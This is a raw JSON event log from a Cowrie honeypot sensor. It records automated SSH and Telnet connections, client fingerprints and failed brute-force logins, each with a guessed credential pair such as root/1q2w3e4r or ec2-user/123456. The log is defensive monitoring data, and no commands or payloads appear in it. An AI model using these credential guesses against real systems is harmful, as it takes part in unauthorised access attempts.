{"eventid":"cowrie.login.failed","username":"es","password":"es123","message":"login attempt [es/es123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:34:44.812886Z","src_ip":"176.65.139.103","session":"85b177861b34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:34:45.897541Z","src_ip":"176.65.139.103","session":"85b177861b34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":53046,"dst_ip":"10.17.0.5","dst_port":22,"session":"08b20102dab2","protocol":"ssh","message":"New connection: 176.65.139.103:53046 (10.17.0.5:22) [session: 08b20102dab2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:34:50.686424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:34:50.689939Z","src_ip":"176.65.139.103","session":"08b20102dab2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:34:50.771878Z","src_ip":"176.65.139.103","session":"08b20102dab2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"password","message":"login attempt [deploy/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:34:51.031977Z","src_ip":"176.65.139.103","session":"08b20102dab2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:34:52.164637Z","src_ip":"176.65.139.103","session":"08b20102dab2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":41500,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a43530d9a58","protocol":"ssh","message":"New connection: 176.65.139.103:41500 (10.17.0.5:22) [session: 1a43530d9a58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:34:56.885704Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:34:56.944618Z","src_ip":"176.65.139.103","session":"1a43530d9a58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:34:57.020010Z","src_ip":"176.65.139.103","session":"1a43530d9a58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"a","password":"a","message":"login attempt [a/a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:34:57.349121Z","src_ip":"176.65.139.103","session":"1a43530d9a58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":60044,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e7c75643efb","protocol":"telnet","message":"New connection: 185.26.126.47:60044 (159.203.135.109:23) [session: 8e7c75643efb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:34:57.603399Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:34:58.452898Z","src_ip":"176.65.139.103","session":"1a43530d9a58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":57080,"dst_ip":"10.17.0.5","dst_port":22,"session":"fee4d9972be6","protocol":"ssh","message":"New connection: 176.65.139.103:57080 (10.17.0.5:22) [session: fee4d9972be6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:35:03.222169Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:35:03.233320Z","src_ip":"176.65.139.103","session":"fee4d9972be6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:35:03.322411Z","src_ip":"176.65.139.103","session":"fee4d9972be6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amrita","password":"amrita","message":"login attempt [amrita/amrita] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:35:03.581769Z","src_ip":"176.65.139.103","session":"fee4d9972be6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:35:04.731843Z","src_ip":"176.65.139.103","session":"fee4d9972be6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":37100,"dst_ip":"159.203.135.109","dst_port":23,"session":"11435543c6b4","protocol":"telnet","message":"New connection: 185.26.126.47:37100 (159.203.135.109:23) [session: 11435543c6b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:35:04.844877Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":57096,"dst_ip":"10.17.0.5","dst_port":22,"session":"de002e08c40f","protocol":"ssh","message":"New connection: 176.65.139.103:57096 (10.17.0.5:22) [session: de002e08c40f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:35:09.527061Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:35:09.543715Z","src_ip":"176.65.139.103","session":"de002e08c40f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:35:09.621288Z","src_ip":"176.65.139.103","session":"de002e08c40f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elk","password":"123456","message":"login attempt [elk/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:35:09.949625Z","src_ip":"176.65.139.103","session":"de002e08c40f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:35:11.033739Z","src_ip":"176.65.139.103","session":"de002e08c40f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":52256,"dst_ip":"10.17.0.5","dst_port":22,"session":"8577487d8ad9","protocol":"ssh","message":"New connection: 176.65.139.103:52256 (10.17.0.5:22) [session: 8577487d8ad9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:35:15.832437Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:35:15.837759Z","src_ip":"176.65.139.103","session":"8577487d8ad9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:35:15.921441Z","src_ip":"176.65.139.103","session":"8577487d8ad9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"abc123","message":"login attempt [test/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:35:16.170491Z","src_ip":"176.65.139.103","session":"8577487d8ad9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:35:17.353471Z","src_ip":"176.65.139.103","session":"8577487d8ad9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":52264,"dst_ip":"10.17.0.5","dst_port":22,"session":"b66834444342","protocol":"ssh","message":"New connection: 176.65.139.103:52264 (10.17.0.5:22) [session: b66834444342]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:35:21.847747Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:35:21.853144Z","src_ip":"176.65.139.103","session":"b66834444342","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:35:22.055742Z","src_ip":"176.65.139.103","session":"b66834444342","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r","message":"login attempt [root/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:35:22.488517Z","src_ip":"176.65.139.103","session":"b66834444342","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:35:23.575388Z","src_ip":"176.65.139.103","session":"b66834444342","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":58008,"dst_ip":"159.203.135.109","dst_port":22,"session":"bac2f2370bb5","protocol":"ssh","message":"New connection: 159.203.92.129:58008 (159.203.135.109:22) [session: bac2f2370bb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:35:26.785014Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:35:26.790078Z","src_ip":"159.203.92.129","session":"bac2f2370bb5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:35:26.794667Z","src_ip":"159.203.92.129","session":"bac2f2370bb5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"456123","message":"login attempt [ansible/456123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:35:26.812178Z","src_ip":"159.203.92.129","session":"bac2f2370bb5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:35:27.819231Z","src_ip":"159.203.92.129","session":"bac2f2370bb5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":48778,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d13798ded28","protocol":"ssh","message":"New connection: 176.65.139.103:48778 (10.17.0.5:22) [session: 2d13798ded28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:35:27.978761Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:35:27.983814Z","src_ip":"176.65.139.103","session":"2d13798ded28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:35:28.069179Z","src_ip":"176.65.139.103","session":"2d13798ded28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"123456","message":"login attempt [ec2-user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:35:28.322460Z","src_ip":"176.65.139.103","session":"2d13798ded28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:35:29.409406Z","src_ip":"176.65.139.103","session":"2d13798ded28","protocol":"ssh"}
